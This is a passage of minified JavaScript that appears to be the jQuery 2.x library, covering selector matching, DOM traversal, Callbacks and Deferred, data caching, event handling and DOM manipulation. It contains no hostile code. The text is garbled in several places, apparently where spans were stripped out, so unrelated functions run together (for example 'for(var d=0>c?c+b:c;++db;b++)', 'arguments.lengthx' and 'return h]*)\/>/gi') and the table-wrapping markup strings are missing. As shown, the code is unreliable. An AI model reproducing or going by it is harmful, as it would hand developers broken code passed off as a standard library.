a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var 